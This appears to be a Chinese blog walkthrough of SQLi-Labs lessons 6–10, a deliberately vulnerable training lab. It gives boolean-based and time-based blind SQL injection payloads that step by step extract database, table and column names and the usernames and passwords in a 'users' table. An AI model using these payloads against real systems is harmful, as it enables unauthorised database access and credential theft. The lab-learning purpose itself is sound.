《SQLi-Labs》02. Less 6~10
@
sqli。开启新坑。
索引
- Less-6:布尔盲注,字符型【"】。
- Less-7:布尔盲注,字符型【'))】。
- Less-8:布尔盲注,字符型【'】。
- Less-9:时间盲注,字符型【'】。
- Less-10:时间盲注,字符型【"】。
Less-6
与 Less-5 基本相同。这里只简略写大致步骤。
题解
根据页面报错信息可以猜测 id 参数是双引号。
只需将 Less-5 的单引号换成双引号即可。
判断当前数据库长度:
url + ?id=1" and length((select database()))>=8 --+
字符串截取并通过 ASCII 码比较来得出数据库名:
url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+
爆表
判断所有表名字符长度:
url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
ASCII 码比较得到表名:
url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
爆字段
判断字符长:
url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
判断字段名:
url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
得到 username 和 password 字段
获取敏感数据:
判断内容长度。
url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与前 4 个题相同。
url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
原理
布尔盲注。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
- substr() 函数:字符串截取函数。
Less-7
与 Less-5、Less-6 相同,也是布尔盲注。
题解
这题较上题有一点区别。


这一题只会显示报错,但没有报错信息。那就逐个判断一下。
传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。
然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。
那就试试双括号 id=1'))--+ ,发现页面显示正常。
于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。
Less-8
题解
Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。
id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。
Less-9
题解
通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。
思路与 Less-5 相同。这里只简单叙述。
判断参数构造。通过页面时间来判断出id参数是单引号字符串。
url + ?id=1' and if(1=1, sleep(3), 1) --+
判断当前数据库名长度。
url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+
逐一判断数据库字符。
url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+
爆表。
判断所有表名长度。
url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+
逐一判断表名。
url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+
爆字段。
判断所有字段名的长度。
url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+
逐一判断字段名。得到 username 和 password 字段。
url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+
获取敏感数据:
判断内容长度。
url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+
逐一检测内容即可。
url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+
原理
时间盲注。涉及到以下 MySQL 函数:
if (expr1, expr2, expr3)
如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。sleep(N)
让此语句运行N秒钟。
当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。
时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。
只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。
Less-10
题解
id参数是双引号字符串。
和 Less-9 一样,只需要将单引号换成双引号即可。
十有九人堪白眼,百无一用是书生。
——《杂感》(清)黄景仁
《SQLi-Labs》02. Less 6~10的更多相关文章
- Win10《芒果TV》更新v3.4.10春光版:优化弹窗体验,修复热键和推送
春来触地故乡情,忽见风光忆两京,金谷踏花香骑入,曲江碾草钿车行,Win10版<芒果TV>更新v3.4.10,进一步优化弹窗体验,修复热键和推送异常. Win10版<芒果TV>V ...
- 《Effective C++ 》学习笔记——规定10
***************************************转载请注明出处:http://blog.csdn.net/lttree************************** ...
- 20145219 《Java程序设计》第02周学习总结
20145219 <Java程序设计>第02周学习总结 教材学习内容总结 类型:基本类型.类类型(参考类型) 基本类型: 整数:short占2字节,int占4字节,long占8字节 字节: ...
- 20145212 《Java程序设计》第10周学习总结
20145212 <Java程序设计>第10周学习总结 学习内容总结 一.Java的网络编程 网络编程是指编写运行在多个设备(计算机)的程序,这些设备都通过网络连接起来. java.net ...
- 20145206《Java程序设计》第10周学习总结
20145206 <Java程序设计>第10周学习总结 博客学习内容总结 什么是网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定 ...
- 20145334 《Java程序设计》第10周学习总结
20145334 <Java程序设计>第10周学习总结 教材学习内容总结 一.网络编程 •网络编程对于很多的初学者来说,都是很向往的一种编程技能,但是很多的初学者却因为很长一段时间无法进入 ...
- 20145337 《Java程序设计》第10周学习总结
20145337 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 路由器和交换机组成了核心的计算机网络 ...
- 20145320 《Java程序设计》第10周学习总结
20145320 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 按照计算机网络的定义 ...
- 20145225《Java程序设计》 第10周学习总结
20145225<Java程序设计> 第10周学习总结 教材学习内容总结 一.网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据: 程序员所作的事情就是把数据发送到指定 ...
- 《HelloGitHub月刊》第02期
<HelloGithub>第02期 兴趣是最好的老师,而<HelloGitHub> 就是帮你找到兴趣! 因为我比较熟悉python语言,所以月刊中python语言的项目居多,个 ...
随机推荐
- JVM原理剖析
前言 本文讨论的JVM以JDK1.8为基准点,附带会横向比较,往前推到JDK1.6.JVM是任何一个学习JAVA的程序员绕不开的核心,本文就会围绕这个核心展开对它剖析,希望能给广大的程序员带来帮助. ...
- 腾讯云 cloudbase 云开发使用笔记
产品概述 云开发(Tencent CloudBase,TCB)是腾讯云提供的云原生一体化开发环境和工具平台,为开发者提供高可用.自动弹性扩缩的后端云服务,包含计算.存储.托管等 serverless ...
- 非 root 用户手动编译安装 GCC
我们知道,关于 GCC 在 CentOS 下通过 yum 安装默认版本号,CentOS 5 是 4.1.2:CentOS 6 是 4.4.7:CentOS 7 是 4.8.3.很多时候在编译安装软件都 ...
- VLAN——提高网络性能、安全性和灵活性的利器
前言 VLAN是Virtual Local Area Network的缩写,它是一种通过网络交换机虚拟划分局域网的技术.VLAN可以将一个物理局域网划分成多个逻辑上的虚拟局域网,各个虚拟局域网之间相互 ...
- 绘图;OSPF 虚连接
绘图;OSPF 虚连接 原图如下 绘图 实验拓扑 实验需求 按照图示分区域配置OSPF 配置虚连接认证 实验步骤 配置相应接口IP地址及loopback 环回口地址 按照图示分区域配置OSPF AR1 ...
- Loguru:优雅的日志管理模块
安装 pip3 install loguru 日志等级 等级 方法 TRACE logger.trace() DEBUG logger.debug() INFO logger.info() SUCES ...
- C++容器(vector、deque、list、map)
(1) vector:将元素置于一个动态数组中,可以随机存储元素(也就是用索引直接存取). 数组尾部添加或删除元素非常迅速.但在中部或头部就比较费时. *代码演示:* 取: at在下标越界时会抛出异常 ...
- Go应用性能优化的8个最佳实践,快速提升资源利用效率!
作者|Ifedayo Adesiyan 翻译|Seal软件 链接|https://earthly.dev/blog/optimize-golang-for-kubernetes/ 优化服务器负载对于确 ...
- 前端vue自定义简单实用下拉筛选 下拉菜单
前端vue自定义简单实用下拉筛选 下拉菜单, 下载完整代码请访问: https://ext.dcloud.net.cn/plugin?id=13020 效果图如下: #### 使用方法 ``` ...
- GPU技术在大规模计算和并行计算中的应用和挑战
目录 1. 引言 2. 技术原理及概念 3. 实现步骤与流程 4. 应用示例与代码实现讲解 5. 优化与改进 GPU 技术在大规模计算和并行计算中的应用和挑战 随着计算机硬件的不断发展和计算能力的提高 ...